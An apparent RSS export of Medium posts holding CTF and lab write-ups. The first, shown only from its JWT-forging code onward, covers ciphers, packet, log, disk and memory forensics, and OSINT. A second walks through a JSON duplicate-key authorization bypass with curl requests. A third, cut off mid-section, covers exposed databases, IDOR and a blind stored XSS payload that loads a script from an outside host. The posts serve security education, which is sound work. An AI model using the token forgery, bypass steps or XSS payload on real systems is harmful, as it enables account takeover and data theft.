b64url(https://medium.com/%3Cbr%3E%20%20%20%20json.dumps(%7B&quot;alg&quot;:%20&quot;HS256&quot;,%20&quot;typ&quot;:%20&quot;JWT&quot;%7D).encode()<br>)</pre><pre>payload = b64url(https://medium.com/%3Cbr%3E%20%20%20%20json.dumps(%7B%3Cbr%3E%20%20%20%20%20%20%20%20&quot;username&quot;:%20&quot;apprentice&quot;,%3Cbr%3E%20%20%20%20%20%20%20%20&quot;role&quot;:%20&quot;admin&quot;%3Cbr%3E%20%20%20%20%7D).encode()<br>)</pre><pre>signature = b64url(https://medium.com/%3Cbr%3E%20%20%20%20hmac.new(%3Cbr%3E%20%20%20%20%20%20%20%20b&quot;firstsignal&quot;,%3Cbr%3E%20%20%20%20%20%20%20%20f&quot;%7Bheader%7D.%7Bpayload%7D&quot;.encode(),<br>        hashlib.sha256<br>    ).digest()<br>)</pre><pre>token = f&quot;{header}.{payload}.{signature}&quot;<br>print(token)</pre><h4>Step 5 — Submit the Forged Token</h4><p>Replace the original token with the forged token and access:</p><pre>/admin</pre><p>The gate accepts the token because the signature is valid and the role is now admin.</p><h4>Flag</h4><pre>NOOB{jwt_wizardry_unlocked_the_gate}|claim=role|value=admin</pre><h4>Lesson</h4><p>Never expose JWT signing secrets. A valid HS256 secret allows an attacker to create completely new valid tokens.</p><h3>Cryptography</h3><h3>4. Hail Caesar!</h3><p><strong>Category:</strong> Cryptography — Caesar / ROT13<br><strong>Points:</strong> 99</p><h4>Given Ciphertext</h4><pre>ABBO{funyy_jr_cynl_n_tnzr}</pre><h4>Step 1 — Look at the Flag Structure</h4><p>The expected flag starts with:</p><pre>NOOB{</pre><p>The ciphertext starts with:</p><pre>ABBO{</pre><p>Compare:</p><pre>A → N<br>B → O<br>B → O<br>O → B</pre><p>This strongly suggests a Caesar-style rotation.</p><h4>Step 2 — Identify the Shift</h4><p>The transformation is:</p><pre>A → N<br>B → O</pre><p>That is a shift of:</p><pre>13</pre><p>So the cipher is:</p><pre>ROT13</pre><h4>Step 3 — Decode</h4><p>Using Linux:</p><pre>echo &#39;ABBO{funyy_jr_cynl_n_tnzr}&#39; | \<br>tr &#39;A-Za-z&#39; &#39;N-ZA-Mn-za-m&#39;</pre><p>Result:</p><pre>NOOB{shall_we_play_a_game}</pre><h4>Flag</h4><pre>NOOB{shall_we_play_a_game}</pre><h4>Lesson</h4><p>ROT13 is not secure encryption. It has a single effective transformation and is trivial to reverse.</p><h3>5. Vigenère’s Cipher</h3><p><strong>Category:</strong> Cryptography<br><strong>Points:</strong> 149</p><h4>Step 1 — Inspect the Artifacts</h4><p>The encrypted message is:</p><pre>SWFT{vgvzrxe_pmpk_fsbzrr}</pre><p>The context note says:</p><pre>Welcome to the First Signal table. When the signal is noisy,<br>start with FIRSTSIGNAL and verify the result.</pre><p>The key is therefore:</p><pre>FIRSTSIGNAL</pre><h4>Step 2 — Identify the Cipher</h4><p>The challenge title itself gives us the cipher:</p><pre>Vigenère</pre><p>The ciphertext wrapper:</p><pre>SWFT{...}</pre><p>also has the same general structure as:</p><pre>NOOB{...}</pre><h4>Step 3 — Apply Vigenère Decryption</h4><p>The standard formula is:</p><pre>P = (C - K) mod 26</pre><p>The key repeats across alphabetic characters.</p><p>A Python implementation:</p><pre>def vigenere_decrypt(cipher, key):<br>    key = key.upper()<br>    output = []<br>    key_index = 0</pre><pre>    for ch in cipher:<br>        if ch.isalpha():<br>            base = 65 if ch.isupper() else 97<br>            c = ord(ch) - base<br>            k = ord(key[key_index % len(key)]) - 65</pre><pre>            output.append(<br>                chr((c - k) % 26 + base)<br>            )</pre><pre>            key_index += 1<br>        else:<br>            output.append(ch)</pre><pre>    return &#39;&#39;.join(output)</pre><pre>print(<br>    vigenere_decrypt(<br>        &#39;SWFT{vgvzrxe_pmpk_fsbzrr}&#39;,<br>        &#39;FIRSTSIGNAL&#39;<br>    )<br>)</pre><p>Output:</p><pre>NOOB{context_keys_matter}</pre><h4>Step 4 — Verify</h4><p>Encrypting the plaintext again using:</p><pre>FIRSTSIGNAL</pre><p>reproduces:</p><pre>SWFT{vgvzrxe_pmpk_fsbzrr}</pre><p>Therefore the result is confirmed.</p><h4>Flag</h4><pre>NOOB{context_keys_matter}|cipher=vigenere|key=FIRSTSIGNAL</pre><h4>Lesson</h4><p>A strong cipher is useless if its key is exposed or predictable.</p><h3>Packet Analysis</h3><h3>6. Packets in the Wire</h3><p><strong>Category:</strong> Network Analysis / Packet Forensics<br><strong>Points:</strong> 99</p><h4>Step 1 — Open the PCAP</h4><p>The challenge provides:</p><pre>packets_in_the_wire.pcap</pre><p>You can use Wireshark or tshark.</p><p>A useful tshark filter is:</p><pre>tshark -r packets_in_the_wire.pcap \<br>-Y &quot;http.authorization&quot; \<br>-T fields \<br>-e frame.number \<br>-e http.authorization</pre><h4>Step 2 — Find Basic Authentication</h4><p>Several packets contain:</p><pre>Authorization: Basic ...</pre><p>Packet 13 contains:</p><pre>monitor:status</pre><p>but it belongs to a telemetry endpoint.</p><p>Packet 29 contains:</p><pre>guest:guest</pre><p>but the server responds with:</p><pre>403 Forbidden</pre><h4>Step 3 — Find the Successful Authentication</h4><p>Packet 37 contains:</p><pre>Authorization: Basic aW50ZXJuOmZpcnN0c2lnbmFs</pre><p>Decode it:</p><pre>echo &#39;aW50ZXJuOmZpcnN0c2lnbmFs&#39; | base64 -d</pre><p>Result:</p><pre>intern:firstsignal</pre><p>The server responds successfully in packet 38.</p><p>Packet 37 also contains the challenge flag header.</p><h4>Flag</h4><pre>NOOB{cleartext_creds_are_loud}|protocol=http|packet=37</pre><h4>Lesson</h4><p>Base64 is encoding, not encryption. HTTP Basic Authentication over unencrypted HTTP exposes credentials to anyone able to capture the traffic.</p><h3>7. File Finder</h3><p><strong>Category:</strong> Network Forensics<br><strong>Points:</strong> 149</p><h4>Step 1 — Inspect HTTP Traffic</h4><p>The PCAP contains several download attempts.</p><p>Focus on:</p><pre>files.first-signal.local</pre><p>Useful traffic occurs around packets:</p><pre>17–28<br>43–44</pre><h4>Step 2 — Identify Decoys</h4><p>Several files are intentionally planted as traps.</p><p>For example:</p><pre>old_incident_note.txt</pre><p>contains:</p><pre>NOOB{not_the_export}</pre><p>but its ETag is:</p><pre>decoy-52002</pre><p>Another file contains:</p><pre>NOOB{browser_cache_decoy}</pre><p>and also has a decoy-* ETag.</p><p>Therefore, do not submit the first flag-like string you encounter.</p><h4>Step 3 — Find the Final Download</h4><p>Packet 44 contains:</p><pre>HTTP/1.1 200 OK<br>Content-Disposition: attachment; filename=&quot;incident_note.txt&quot;<br>ETag: &quot;fs-incident-final&quot;</pre><p>The body contains:</p><pre>Real submission:<br>NOOB{exported_file_found}|file=incident_note.txt|host=files.first-signal.local</pre><h4>Step 4 — Confirm the Host</h4><p>Packet 43 contains:</p><pre>Host: files.first-signal.local</pre><p>The server IP is:</p><pre>10.20.30.80</pre><h4>Flag</h4><pre>NOOB{exported_file_found}|file=incident_note.txt|host=files.first-signal.local</pre><h4>Lesson</h4><p>When analyzing PCAPs, correlate request/response pairs and inspect HTTP metadata such as:</p><ul><li>ETag</li><li>Content-Disposition</li><li>Host</li><li>Custom X-* headers</li></ul><h3>8. Beacon in the Noise</h3><p><strong>Category:</strong> Network Forensics / DNS Exfiltration<br><strong>Points:</strong> 199</p><h4>Step 1 — Filter DNS Traffic</h4><p>Open the PCAP and focus on DNS:</p><pre>udp.port == 53</pre><p>A suspicious pattern appears under:</p><pre>exfil.first-signal.local</pre><h4>Step 2 — Identify the Data Pattern</h4><p>The DNS queries follow:</p><pre>&lt;index&gt;-&lt;encoded_data&gt;.exfil.first-signal.local</pre><p>Four chunks are present:</p><pre>1-Tk9PQntkbnNfY2h1bmtzX3Rl...<br>2-bGxfc3Rvcmllc318ZG9tYWlu...<br>3-PWV4ZmlsLmZpcnN0LXNpZ25h...<br>4-bC5sb2NhbHxjaHVua3M9NA...</pre><h4>Step 3 — Decode Each Chunk</h4><p>Chunk 1:</p><pre>Tk9PQntkbnNfY2h1bmtzX3Rl</pre><p>decodes to:</p><pre>NOOB{dns_chunks_te</pre><p>Chunk 2 continues:</p><pre>ll_stories}</pre><p>Chunk 3:</p><pre>=exfil.first-signa</pre><p>Chunk 4:</p><pre>l.local</pre><h4>Step 4 — Reassemble</h4><p>Putting everything together:</p><pre>NOOB{dns_chunks_tell_stories}|domain=exfil.first-signal.local|chunks=4</pre><h4>Flag</h4><pre>NOOB{dns_chunks_tell_stories}|domain=exfil.first-signal.local|chunks=4</pre><h4>Lesson</h4><p>DNS can be abused as a covert channel by placing encoded information inside subdomain queries.</p><h3>Forensics</h3><h3>9. The Cuckoo’s Log</h3><p><strong>Category:</strong> Log Analysis / Blue Team<br><strong>Points:</strong> 99</p><h4>Step 1 — Count the Log Entries</h4><p>The log contains:</p><pre>81 lines</pre><p>Use:</p><pre>wc -l helpdesk_auth.log</pre><h4>Step 2 — Count User Frequency</h4><p>Run:</p><pre>grep -oP &#39;user=\S+&#39; helpdesk_auth.log | \<br>sort | uniq -c | sort -rn</pre><p>The result shows:</p><pre>eli      24<br>nora     17<br>taylor   14<br>sam      14<br>riley    11<br>mia       1</pre><p>The unusual account is:</p><pre>mia</pre><p>because it occurs only once.</p><h4>Step 3 — Inspect the Anomalous Event</h4><p>Run:</p><pre>grep &#39;user=mia&#39; helpdesk_auth.log</pre><p>The event is:</p><pre>event=EVT-4427<br>user=mia<br>result=success<br>src=198.51.100.77<br>ua=CuckooBot/0.3<br>impossible_travel=true<br>flag=NOOB{anomaly_at_0714}</pre><h4>Step 4 — Correlate the Indicators</h4><p>Several indicators point to the same event:</p><ul><li>Rare user</li><li>External source IP</li><li>Unknown bot user-agent</li><li>Impossible travel</li><li>Successful authentication</li></ul><p>The event ID is:</p><pre>EVT-4427</pre><h4>Flag</h4><pre>NOOB{anomaly_at_0714}|user=mia|event=EVT-4427</pre><h4>Lesson</h4><p>Effective log analysis often starts with establishing a baseline and then looking for statistical and behavioral outliers.</p><h3>10. Deleted, Not Gone</h3><p><strong>Category:</strong> Disk Forensics / File Carving<br><strong>Points:</strong> 149</p><h4>Step 1 — Inspect the Image</h4><p>Artifact:</p><pre>lost_usb_image.dd</pre><p>Check its size:</p><pre>ls -la lost_usb_image.dd</pre><p>Then:</p><pre>file lost_usb_image.dd</pre><p>Search for flags:</p><pre>grep -ao &#39;NOOB{[^}]*}&#39; lost_usb_image.dd</pre><p>Two candidates appear:</p><pre>NOOB{decoy_deleted_note}<br>NOOB{carved_context_wins}</pre><h4>Step 2 — Find Their Offsets</h4><p>Use:</p><pre>grep -aob &#39;NOOB{[^}]*}&#39; lost_usb_image.dd</pre><p>The important recovered region begins at:</p><pre>4096</pre><p>The layout is:</p><pre>0–4095       wiped/zeroed region<br>4096–4287    recovered file data<br>4288–6337    other unallocated data</pre><h4>Step 3 — Carve the File</h4><p>Extract the recovered region:</p><pre>dd if=lost_usb_image.dd bs=1 skip=4096 count=192</pre><p>The recovered content includes:</p><pre>RECOVERED_FILE_START<br>filename=recovered_note.txt</pre><pre>This is not the flag:<br>NOOB{decoy_deleted_note}</pre><pre>Real submission:<br>NOOB{carved_context_wins}|file=recovered_note.txt|offset=4096</pre><pre>RECOVERED_FILE_END</pre><h4>Step 4 — Reject the Decoy</h4><p>The first flag explicitly says:</p><pre>This is not the flag</pre><p>The second is identified as:</p><pre>Real submission</pre><p>Therefore the second flag is the correct one.</p><h4>Flag</h4><pre>NOOB{carved_context_wins}|file=recovered_note.txt|offset=4096</pre><h4>Lesson</h4><p>Deleting a file does not necessarily destroy its contents. Data may remain in unallocated space until overwritten.</p><h3>11. Ghost in the RAM</h3><p><strong>Category:</strong> Digital Forensics / Memory Analysis<br><strong>Points:</strong> 199</p><h4>Step 1 — Inspect the Process List</h4><p>The important processes are:</p><pre>svchost.exe<br>svchost32.exe<br>powershell.exe</pre><p>The suspicious process is:</p><pre>svchost32.exe<br>PID 1337<br>User: mia</pre><p>Why?</p><p>A legitimate Windows service host is normally:</p><pre>svchost.exe</pre><p>The extra 32 suffix is suspicious.</p><p>It is also running as a normal user rather than SYSTEM.</p><h4>Step 2 — Inspect Process Relationships</h4><p>The process tree shows:</p><pre>svchost32.exe<br>    └── powershell.exe</pre><p>The PowerShell process executes an encoded command.</p><p>This increases the suspicion around PID 1337.</p><h4>Step 3 — Check Network Connections</h4><p>Inspect:</p><pre>net_connections.txt</pre><p>PID 1337 has an established connection to:</p><pre>beacon.first-signal.local:443</pre><p>Therefore:</p><pre>svchost32.exe</pre><p>is communicating with the suspected C2 server.</p><h4>Step 4 — Decode Memory Strings</h4><p>A decoy string decodes to:</p><pre>NOOB{this_is_only_a_decoy}|process=notepad.exe|c2=updates.example.com</pre><p>Ignore it.</p><p>Another encoded string decodes to:</p><pre>NOOB{ghost_process_beacon}|process=svchost32.exe|c2=beacon.first-signal.local</pre><p>This matches the process and network evidence.</p><h4>Flag</h4><pre>NOOB{ghost_process_beacon}|process=svchost32.exe|c2=beacon.first-signal.local</pre><h4>Lesson</h4><p>Memory analysis becomes much stronger when process information, parent/child relationships, network connections, and suspicious strings are correlated.</p><h3>Malware Analysis</h3><h3>12. Strings Attached</h3><p><strong>Category:</strong> Reverse Engineering / Forensics<br><strong>Points:</strong> 99</p><h4>Step 1 — Identify the Binary</h4><p>Run:</p><pre>file system_check</pre><p>It identifies the artifact as:</p><pre>ELF 64-bit LSB pie executable<br>x86-64<br>dynamically linked<br>stripped</pre><h4>Step 2 — Run the Program</h4><p>Execute:</p><pre>chmod +x system_check<br>./system_check</pre><p>The program displays:</p><pre>BOOT SEQUENCE COMPLETE.<br>TIME TO HACK THE PLANET.<br>AUTHENTICATION REQUIRED.<br>ACCESS DENIED. CONNECTION TERMINATED.</pre><p>There is no successful authentication path.</p><h4>Step 3 — Extract Strings</h4><p>Normally use:</p><pre>strings system_check</pre><p>If strings is unavailable, use:</p><pre>grep -a -E &#39;[A-Za-z0-9_{}@.:/-]{8,}&#39; system_check</pre><p>Among the normal program strings, we find:</p><pre>NOOB{hack_the_planet}</pre><p>The program never prints this string during normal execution.</p><h4>Step 4 — Confirm</h4><p>The challenge asks for information not revealed during normal execution.</p><p>The flag exists as static data inside the binary.</p><h4>Flag</h4><pre>NOOB{hack_the_planet}</pre><h4>Lesson</h4><p>For beginner reverse-engineering challenges, always try:</p><pre>file<br>strings<br>grep<br>objdump</pre><p>before moving to more complicated tools.</p><h3>13. Phisherman’s Friend</h3><p><strong>Category:</strong> PDF Forensics<br><strong>Points:</strong> 149</p><h4>Step 1 — Extract Visible Text</h4><p>Run:</p><pre>pdftotext archive_record_414.pdf -</pre><p>The document appears to be a system access log.</p><p>The final visible message hints:</p><pre>not everything about a file is visible on the page it prints.</pre><p>This suggests the flag is hidden inside the PDF structure.</p><h4>Step 2 — Inspect Metadata</h4><p>Run:</p><pre>pdfinfo archive_record_414.pdf</pre><p>The Keywords field contains:</p><pre>NOOB{this_is_not_the_flag_you_are_looking_for}</pre><p>This is explicitly a decoy.</p><p>So keep digging.</p><h4>Step 3 — Inspect the PDF Catalog</h4><p>The PDF Catalog contains an unusual custom key:</p><pre>/TCMExtra</pre><p>This is not a normal PDF Catalog property.</p><p>The important structure is:</p><pre>/TCMExtra 10 0 R</pre><h4>Step 4 — Inspect Object 10</h4><p>The referenced object contains:</p><pre>/Flag (NOOB{conscience_of_a_hacker})<br>/Note (...)<br>/Type /TCMChallenge</pre><p>This is the real flag.</p><p>Using Python and pikepdf, the structure can be inspected:</p><pre>import pikepdf</pre><pre>pdf = pikepdf.open(&quot;archive_record_414.pdf&quot;)</pre><pre>print(pdf.Root[&quot;/TCMExtra&quot;])</pre><p>The custom dictionary exposes the hidden flag.</p><h4>Flag</h4><pre>NOOB{conscience_of_a_hacker}</pre><h4>Lesson</h4><p>When investigating PDFs, don’t stop at visible text or metadata. Check:</p><ul><li>Metadata</li><li>Objects</li><li>Streams</li><li>Attachments</li><li>JavaScript</li><li>Custom dictionary keys</li></ul><h3>OSINT</h3><h3>14. Whois There?</h3><p><strong>Category:</strong> DNS Reconnaissance / OSINT<br><strong>Points:</strong> 99</p><h4>Step 1 — Identify the Target</h4><p>The target is:</p><pre>knock.knock.ecyber.org</pre><p>The name itself hints at:</p><pre>knock knock → who&#39;s there?</pre><h4>Step 2 — Enumerate DNS Records</h4><p>Try:</p><pre>dig A knock.knock.ecyber.org<br>dig AAAA knock.knock.ecyber.org<br>dig TXT knock.knock.ecyber.org<br>dig MX knock.knock.ecyber.org<br>dig CNAME knock.knock.ecyber.org<br>dig NS knock.knock.ecyber.org<br>dig SOA knock.knock.ecyber.org<br>dig SRV knock.knock.ecyber.org</pre><p>The interesting record is:</p><pre>TXT</pre><h4>Step 3 — Read the TXT Record</h4><p>Run:</p><pre>dig TXT knock.knock.ecyber.org +short</pre><p>The value is:</p><pre>Tk9PQntub19wdW5jaGxpbmVfaGVyZX0=</pre><p>This looks like Base64.</p><h4>Step 4 — Decode</h4><p>Run:</p><pre>echo &#39;Tk9PQntub19wdW5jaGxpbmVfaGVyZX0=&#39; | base64 -d</pre><p>Output:</p><pre>NOOB{no_punchline_here}</pre><h4>Flag</h4><pre>NOOB{no_punchline_here}</pre><h4>Lesson</h4><p>Always enumerate TXT records during DNS reconnaissance. DNS can contain arbitrary text and is frequently used for verification, configuration, and CTF data hiding.</p><h3>15. Wayback When</h3><p><strong>Category:</strong> OSINT / Web Archives<br><strong>Points:</strong> 149</p><h4>Step 1 — Check the Live Website</h4><p>The target is:</p><pre>https://beta.ecyber.org</pre><p>The current site no longer shows the beta code.</p><p>The challenge tells us the code existed previously and was removed.</p><p>That makes a web archive the logical next step.</p><h4>Step 2 — Query Wayback CDX</h4><p>Use the CDX API:</p><pre>curl -s \<br>&#39;http://web.archive.org/cdx/search/cdx?url=beta.ecyber.org&amp;output=text&amp;fl=timestamp,original,statuscode&amp;collapse=urlkey&#39;</pre><p>The important captures include:</p><pre>20260718024534<br>20260718132850</pre><p>These were captured while the page was available.</p><h4>Step 3 — Download a Snapshot</h4><p>For example:</p><pre>curl -s -o snap.html \<br>&#39;https://web.archive.org/web/20260718024534/https://beta.ecyber.org/&#39;</pre><h4>Step 4 — Search the Archived HTML</h4><p>Run:</p><pre>grep -ao &#39;NOOB{[^}]*}&#39; snap.html</pre><p>The archived page contains:</p><pre>NOOB{the_interwebz_never_forget}</pre><p>The same flag appears in the archived versions.</p><h4>Flag</h4><pre>NOOB{the_interwebz_never_forget}</pre><h4>Lesson</h4><p>Removing content from a live website does not necessarily remove historical copies. Web archives can preserve useful OSINT evidence.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=963ba5f0a66d" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Intigriti July 2026 CTF Write-Up: Exploiting JSON Parser Differential (Duplicate-Key Confusion) to…]]></title>
            <link>https://medium.com/@zabedullahpoyel/intigriti-july-2026-ctf-write-up-exploiting-json-parser-differential-duplicate-key-confusion-to-29b94d6001e4?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/29b94d6001e4</guid>
            <category><![CDATA[ctf-walkthrough]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[intigriti]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Tue, 04 Aug 2026 04:23:17 GMT</pubDate>
            <atom:updated>2026-08-04T04:23:17.531Z</atom:updated>
            <content:encoded><![CDATA[<h3>Intigriti July 2026 CTF Write-Up: Exploiting JSON Parser Differential (Duplicate-Key Confusion) to Bypass Access Control</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rfqq3aLj-jiV2Ugax915sg.png" /></figure><p><strong>Challenge:</strong> Canonically Yours<br><strong>Platform:</strong> Intigriti Monthly CTF — July 2026<br><strong>Category:</strong> Web Security / Broken Access Control<br><strong>Vulnerability:</strong> JSON Parser Differential (Duplicate-Key Confusion)<br><strong>Difficulty:</strong> Medium–Hard<br><strong>Target:</strong> <a href="https://challenge-0726.intigriti.io/">https://challenge-0726.intigriti.io</a></p><h4>Introduction</h4><p>The <strong>Canonically Yours</strong> challenge from the Intigriti July 2026 CTF demonstrates a <strong>JSON Parser Differential</strong> vulnerability, also known as <strong>Duplicate-Key Confusion</strong>. The application signs manifests based on one JSON interpretation while the publication service processes another, allowing an attacker to bypass namespace restrictions and access a protected package.</p><h4><strong>Root </strong>Cause</h4><p>The vulnerability exists because the application processes the same JSON document differently across two backend services. The signing service validates the first occurrence of the duplicated `package` key, while the publication service uses the last occurrence. This parser inconsistency allows an authorized manifest to be interpreted as a request for a restricted package.</p><h4>Step 1: Register a New Account</h4><pre>curl -s -c cookies.txt -X POST https://challenge-0726.intigriti.io/api/register \<br>  -H &#39;content-type: application/json&#39; \<br>  -d &#39;{&quot;username&quot;:&quot;YOUR_USERNAME&quot;,&quot;password&quot;:&quot;YOUR_PASSWORD&quot;}&#39;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JYrEnzepBTsn-q5mYCZpog.png" /></figure><h4>Step 2: Retrieve Session Details &amp; CSRF Token</h4><pre>curl -s -b cookies.txt https://challenge-0726.intigriti.io/api/me</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_1FoWupU-gfrYkFkOjBGWg.png" /></figure><h4>Step 3: Craft the Dual-Package Manifest</h4><pre>echo -n &#39;{&quot;package&quot;:{&quot;scope&quot;:&quot;&lt;your-namespace&gt;&quot;,&quot;name&quot;:&quot;hello-world&quot;,&quot;version&quot;:&quot;1.0.0&quot;},&quot;package&quot;:{&quot;scope&quot;:&quot;core&quot;,&quot;name&quot;:&quot;security-notes&quot;,&quot;version&quot;:&quot;1.0.0&quot;},&quot;metadata&quot;:{&quot;description&quot;:&quot;x&quot;,&quot;visibility&quot;:&quot;private&quot;},&quot;operation&quot;:&quot;preflight&quot;}&#39; | base64 -w 0</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*azregZexUMOWUeYfig2KiQ.png" /></figure><h4>Why It Works</h4><pre>Manifest<br>      │<br>      ▼<br>Signing Service<br>(First package)<br>      │<br>      ▼<br>Manifest Signed<br>      │<br>      ▼<br>Publication Service<br>(Last package)<br>      │<br>      ▼<br>@core/security-notes<br>      │<br>      ▼<br>FLAG</pre><pre>{<br>  &quot;package&quot;: {<br>    &quot;scope&quot;: &quot;your-namespace&quot;<br>  },<br>  &quot;package&quot;: {<br>    &quot;scope&quot;: &quot;core&quot;<br>  }<br>}</pre><h4>Step 4: Sign the Manifest</h4><pre>curl -s -b cookies.txt -X POST https://challenge-0726.intigriti.io/api/manifests/sign \<br>  -H &#39;content-type: application/json&#39; \<br>  -H &#39;x-csrf-token: &lt;YOUR_CSRF_TOKEN&gt;&#39; \<br>  -d &#39;{&quot;manifest_b64&quot;:&quot;&lt;YOUR_NEW_BASE64_MANIFEST&gt;&quot;}&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aTRiMfCkXeEscXHNjupayw.png" /></figure><h4>Step 5: Publish the Approved Manifest</h4><pre>curl -s -b cookies.txt -X POST https://challenge-0726.intigriti.io/api/publications \<br>  -H &#39;content-type: application/json&#39; \<br>  -H &#39;x-csrf-token: &lt;YOUR_CSRF_TOKEN&gt;&#39; \<br>  -d &#39;{<br>    &quot;manifest_b64&quot;:&quot;&lt;YOUR_BASE64_ENCODED_MANIFEST&gt;&quot;,<br>    &quot;approval_id&quot;:&quot;&lt;APPROVAL_ID&gt;&quot;,<br>    &quot;manifest_sha256&quot;:&quot;&lt;MANIFEST_SHA256&gt;&quot;,<br>    &quot;nonce&quot;:&quot;&lt;NONCE&gt;&quot;,<br>    &quot;expires_at&quot;:&lt;EXPIRES_AT&gt;,<br>    &quot;signature&quot;:&quot;&lt;SIGNATURE&gt;&quot;<br>  }&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dh2zdOrpw3m7FTsM5ylCUg.png" /></figure><h4>Step 6: Fetch the Report and Retrieve the Flag</h4><pre>curl -s -b cookies.txt https://challenge-0726.intigriti.io/api/publications/&lt;PUBLICATION_ID&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ggqaa1m_xrJ1OH6r3AQJwg.png" /></figure><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F-obOGhuyPwM%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D-obOGhuyPwM&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F-obOGhuyPwM%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/32d7eb395035b159566e97384aabc37b/href">https://medium.com/media/32d7eb395035b159566e97384aabc37b/href</a></iframe><h4>Security Impact</h4><p>Parser differential vulnerabilities can lead to:</p><ul><li>Authorization Bypass</li><li>Broken Access Control</li><li>Sensitive Data Disclosure</li><li>Business Logic Abuse</li></ul><h4>Mitigation</h4><ul><li>Reject duplicate JSON keys.</li><li>Use a canonical JSON parser.</li><li>Validate permissions after parsing.</li><li>Share the same parsed object across all backend services.</li></ul><h4>Conclusion</h4><p>This challenge demonstrates how parser inconsistencies can create authorization bypasses even when cryptographic signing is implemented correctly. A single duplicated JSON key was enough to bypass namespace restrictions and access protected resources.</p><h4>Disclaimer</h4><p>This write-up is published for educational purposes and documents a challenge officially released as part of the Intigriti July 2026 CTF.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29b94d6001e4" width="1" height="1" alt="">]]></content:encoded>
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            <title><![CDATA[Bug Bounty Masterclass —$90,000+ Real World Exploitation]]></title>
            <link>https://medium.com/@zabedullahpoyel/bug-bounty-masterclass-90-000-real-world-exploitation-b7df5a36c148?source=rss-889294b4749d------2</link>
            <guid isPermaLink="false">https://medium.com/p/b7df5a36c148</guid>
            <category><![CDATA[idor]]></category>
            <category><![CDATA[s3-bucket]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[account-takeover]]></category>
            <dc:creator><![CDATA[Zabed Ullah Poyel]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 03:59:14 GMT</pubDate>
            <atom:updated>2026-02-12T04:30:42.146Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7RPWjVInYKpgx8EfC__waw.jpeg" /></figure><h3>Open Deepseek Database</h3><p><strong>Vulnerability Type:</strong> Exposed Database / Unauthenticated Access<br> <strong>Impact:</strong> Full log stream exposure</p><h4>Methodology</h4><ul><li>Identified exposed service:</li></ul><pre>http://deepleak.bugbountymasterclass.com:8123/</pre><ul><li>Enumerated databases:</li></ul><pre>SHOW DATABASES;</pre><ul><li>Extracted sensitive data:</li></ul><pre>SELECT string_values <br>FROM deepleak.log_stream <br>WHERE string_values LIKE &#39;%WIZFLAG%&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I5Jt2N3U94EMJKLq7T6SyA.png" /></figure><h4>Root Cause</h4><p>Database exposed without authentication.</p><h3>Major Airline Data Dump</h3><p><strong>Vulnerability Type:</strong> Broken Access Control / IDOR<br> <strong>Impact:</strong> Mass passenger data exposure</p><h4>Methodology</h4><ul><li>Subdomain discovery via:</li></ul><pre>https://crt.sh/</pre><ul><li>Found:</li></ul><pre>api.airlines.bugbountymasterclass.com</pre><ul><li>Explored Swagger docs:</li></ul><pre>https://api.airlines.bugbountymasterclass.com/docs/</pre><ul><li>Identifying the Vulnerable Endpoint</li></ul><pre>/api/getMemberships<br>/api/searchMemberInfo</pre><ul><li>Executing the Data Dump</li></ul><pre>/api/getMemberships</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G77eMTNjgm0HkzN2uJiuOA.png" /></figure><h4>Root Cause</h4><p>Missing authorization checks on API endpoints.</p><h3>Domain Registrar Data Exposure</h3><p><strong>Vulnerability Type:</strong> Open Directory / Backup Leak<br> <strong>Impact:</strong> Sensitive internal database exposed</p><h4>Methodology</h4><ul><li>Found accessible directory:</li></ul><pre>https://shark.bugbountymasterclass.com/uploads/</pre><ul><li>Downloaded:</li></ul><pre>shark-db.zip</pre><ul><li>Searched contents for:</li></ul><pre>&quot;WIZFLAG&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jp7jvbBX2dbjqtufHIjxcg.png" /></figure><h4>Root Cause</h4><p>Backup files stored in public web directory.</p><h3>Logistics Company Admin Panel Compromise</h3><p><strong>Vulnerability Type:</strong> Blind Stored XSS<br> <strong>Impact:</strong> Admin session compromise</p><h4>Methodology</h4><ul><li>Injection : Issue Tracker from Description box</li><li>Payload:</li></ul><pre>&#39;&quot;&gt;&lt;script src=https://xss.report/c/wq&gt;&lt;/script&gt;</pre><ul><li>Triggered when admin viewed issue.</li></ul><pre>https://logistics.bugbountymasterclass.com/admin</pre><ul><li>view issue</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*M7GmS0Ztd0fMwoldAFR8pA.png" /></figure><h4>Root Cause</h4><p>User input rendered without sanitization.</p><h3>Root Domain Takeover — Fintech</h3><p><strong>Vulnerability Type:</strong> (S3)<br> <strong>Impact:</strong> Full domain control</p><h4>Observation</h4><ul><li>XML error 